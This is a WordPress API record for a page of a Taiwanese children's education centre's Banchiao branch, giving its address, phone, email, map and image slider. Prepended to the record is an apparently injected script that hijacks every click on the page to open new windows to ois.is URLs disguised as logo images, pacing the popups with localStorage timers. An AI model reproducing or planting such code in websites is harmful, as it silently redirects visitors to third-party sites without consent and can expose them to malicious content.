<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":684,"date":"2014-04-29T11:57:38","date_gmt":"2014-04-29T03:57:38","guid":{"rendered":"http:\/\/edu.secda.info\/peekaboo_banchiao\/?page_id=684"},"modified":"2017-07-14T18:25:47","modified_gmt":"2017-07-14T10:25:47","slug":"%e6%b8%ac%e8%a9%a6%e9%a6%96%e9%a0%81","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/peekaboo_banchiao\/","title":{"rendered":""},"content":{"rendered":"<div id=\"metaslider-id-1009\" style=\"max-width: 710px; margin: 0 auto;\" class=\"ml-slider-3-27-14 metaslider metaslider-flex metaslider-1009 ml-slider\">\n    <div id=\"metaslider_container_1009\">\n        <div id=\"metaslider_1009\">\n            <ul aria-live=\"polite\" class=\"slides\">\n                <li style=\"display: block; width: 100%;\" class=\"slide-1010 ms-image\"><img src=\"https:\/\/edu.secda.info\/peekaboo_banchiao\/wp-content\/uploads\/2016\/01\/01-695x466.jpg\" height=\"476\" width=\"710\" alt=\"\" class=\"slider-1009 slide-1010\" \/><\/li>\n                <li style=\"display: none; width: 100%;\" class=\"slide-1011 ms-image\"><img src=\"https:\/\/edu.secda.info\/peekaboo_banchiao\/wp-content\/uploads\/2016\/01\/02-695x466.jpg\" height=\"476\" width=\"710\" alt=\"\" class=\"slider-1009 slide-1011\" \/><\/li>\n                <li style=\"display: none; width: 100%;\" class=\"slide-1012 ms-image\"><img src=\"https:\/\/edu.secda.info\/peekaboo_banchiao\/wp-content\/uploads\/2016\/01\/03-695x466.jpg\" height=\"476\" width=\"710\" alt=\"\" class=\"slider-1009 slide-1012\" \/><\/li>\n                <li style=\"display: none; width: 100%;\" class=\"slide-1013 ms-image\"><img src=\"https:\/\/edu.secda.info\/peekaboo_banchiao\/wp-content\/uploads\/2016\/01\/04-695x466.jpg\" height=\"476\" width=\"710\" alt=\"\" class=\"slider-1009 slide-1013\" \/><\/li>\n            <\/ul>\n        <\/div>\n        \n    <\/div>\n<\/div>\n<table style=\"letter-spacing: 0.05em; width: 850px;\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"350\">\n<h2><b>\u53f0\u5317\u677f\u6a4b\u5206\u6821<\/b><\/h2>\n<h4>22001\u65b0\u5317\u5e02\u677f\u6a4b\u5340\u4e2d\u5c71\u8def\u4e00\u6bb567\u865f5\u6a13<\/h4>\n<h3>\u96fb\u8a71:(02) 8951-6886<\/h3>\n<h3>\u96fb\u5b50\u4fe1\u7bb1: banchiao@peekaboo.com.tw<\/h3>\n<\/td>\n<td valign=\"top\" width=\"470\">\u00a0<iframe loading=\"lazy\" src=\"https:\/\/www.google.com\/maps\/embed?pb=!1m18!1m12!1m3!1d3615.713882197192!2d121.45900201500568!3d25.00983638398368!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3442a81dbf39e4e1%3A0xed9ddacbf2025d34!2zMjIw5paw5YyX5biC5p2_5qmL5Y2A5Lit5bGx6Lev5LiA5q61NjfomZ8!5e0!3m2!1szh-TW!2stw!4v1500027900259\" width=\"500\" height=\"250\" frameborder=\"0\" style=\"border:0\" allowfullscreen><\/iframe><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u53f0\u5317\u677f\u6a4b\u5206\u6821 22001\u65b0\u5317\u5e02\u677f\u6a4b\u5340\u4e2d\u5c71\u8def\u4e00\u6bb567\u865f5\u6a13 \u96fb\u8a71:(02) 895&hellip;<\/p>\n<p class=\"more-link-p\"><a class=\"more-link\" href=\"https:\/\/edu.secda.info\/peekaboo_banchiao\/\">Read more &rarr;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/peekaboo_banchiao\/index.php?rest_route=\/wp\/v2\/pages\/684"}],"collection":[{"href":"https:\/\/edu.secda.info\/peekaboo_banchiao\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/peekaboo_banchiao\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_banchiao\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_banchiao\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=684"}],"version-history":[{"count":31,"href":"https:\/\/edu.secda.info\/peekaboo_banchiao\/index.php?rest_route=\/wp\/v2\/pages\/684\/revisions"}],"predecessor-version":[{"id":1138,"href":"https:\/\/edu.secda.info\/peekaboo_banchiao\/index.php?rest_route=\/wp\/v2\/pages\/684\/revisions\/1138"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/peekaboo_banchiao\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=684"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}